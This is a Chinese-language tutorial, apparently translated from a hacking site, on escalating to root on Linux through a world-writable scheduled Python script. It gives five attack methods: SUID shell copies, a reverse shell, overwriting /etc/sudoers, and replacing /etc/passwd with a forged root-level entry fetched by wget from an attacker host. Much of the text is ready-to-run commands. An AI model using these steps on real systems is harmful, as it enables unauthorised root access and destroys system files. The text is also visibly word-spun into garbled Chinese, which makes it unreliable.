快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

在Linux上通过可写文件获取root权限的多种方式

在Linux中,统统都可以看做文件,包括所有允许/禁止读写执行权限的目录以及设备。当治理员为任何文件配置权限时,都应清楚并合理为每一个Linux用户调配应有的读写执行权限。在本文中我将为人人铺示,怎么样行使Linux中具有写入权限的文件/脚原前辈行提权操作。想要了解更多关于Linux体系权限的内容,可以涉猎这篇文章。好了,话不久不多说。下面就进入我们的正题吧!

起首,我们来启动我们的攻击机并渗透排泄进目标体系直至提权阶段。这里假设我通过ssh成功登录到了受害者机器,并走访了非root用户的终端。通过下列命令,我们可以枚举所有具有可写权限的二进制文件。

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

可以看到在/lib/log路径下有一个python文件,我们进入到该目录并查看该文件的权限为777

1.png

通过cat命令查看该文件内容,这是治理员添加的一个用来清除 /tmp中的所有垃圾文件的脚本,详细执行取决于治理员配置的准时间隔。获取了这些信息后,攻击者可以通过下列方式来执行提权操作。

2.png

要领1

我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器关上sanitizer.py并将“rm -r /tmp/*”中的内容替代为下列两行:

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

3.png

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root走访权限。

cd /tmp
ls
./sh
id
whoami

下图可以说明统统!

4.png

要领2

一样,你也能够将“rm -r /tmp/*”替代为下列内容:

os.system(‘chmod u+s /bin/dash)

5.png

一段时间后,它将为/bin/dash配置SUID权限,并且在运行时会给予root走访权限。

/bin/dash
id
whoami

以下图所示:

6.png

要领3

在这类要领中,我们在rm -r /tmp/*的地位粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。

7.png

如上所述,经过一段时间后,我们通过netcat获取了具有root走访权限的反向shell。

nc -lvp 1234
id
whoami

以下图所示:

8.png

要领4

这个要领挺故意思的,鄙人图中人人可以看到我当前的用户是没有执行sudo命令的权限的。那我们就想办法让本人成为suoders文件成员。

9.png

一样,我们将“rm -r /tmp/*”替代为下列内容:

os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

10.png

过一段时间后,当你输入“sudo -l”命令时,你会注意到,它已成为了sudo用户的成员。此时我们只需输入“sudo bash”就可以获取root走访权限。

sudo -l
sudo bash
id

要领5

我们知道passwd在任何类linux的体系中都饰演着无比重要的角色,一旦攻击者有机会可以修改此文件,那么它将会成为一种特权抬举的动态方式。

一样,我们也不会忽视这一点,无线黑客,使用cat命令读取etc/passwd文件。

在这里你可以观察到用户名为nemo记录的高亮条目,根据我的猜测UID:1000 & GID:1000表示它应该是治理员组的成员。

但我们的目标是通过编辑nemo记录,使其成为root组的成员。因此,我们选择并复制etc/passwd文件内的所有记录,然后将它粘贴到一个空的文本文件中。

11.png

然后在一个新的终端中使用openssl生成一个加盐暗码并复制。

openssl passwd -1 -salt abc 123

12.png

现在将上面复制的加盐暗码粘贴至用户nemo记录条目中的“X”处,并且将UID&GID更改成0,如图所示。操作实现后,将文本文件保存为“passwd”,将该文件传输至目标体系,它将笼盖原始passwd文件的内容。

cd Desktop
python -m SimpleHTTPServer 80

13.png

一样,将“rm -r /tmp/*”替代为下列内容:

os.system(‘chmod u+s /bin/cp)

一段时间后,它会启用/bin/cp的SUID位以复制任意文件。

14.png

现在将被你修改过的passwd文件下载至目标体系的/tmp目录中。让我们来检查一下/bin/cp是否启用了SUID位,然后使用cp命令将修改的passwd文件复制到/etc/passwd中,这将笼盖原始passwd文件的内容。

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

15.png

现在,我们键入下列命令查看修改内容是否已在passwd文件中见效。

tail /etc/passwd

可以看到修改内容已成功写入!

16.png

执行下列命令获取root走访权限:

su nemo
password 123
whoami

17.png

*参考来源:hackingarticles, secist 编译,

您可能还会对下面的文章感兴趣: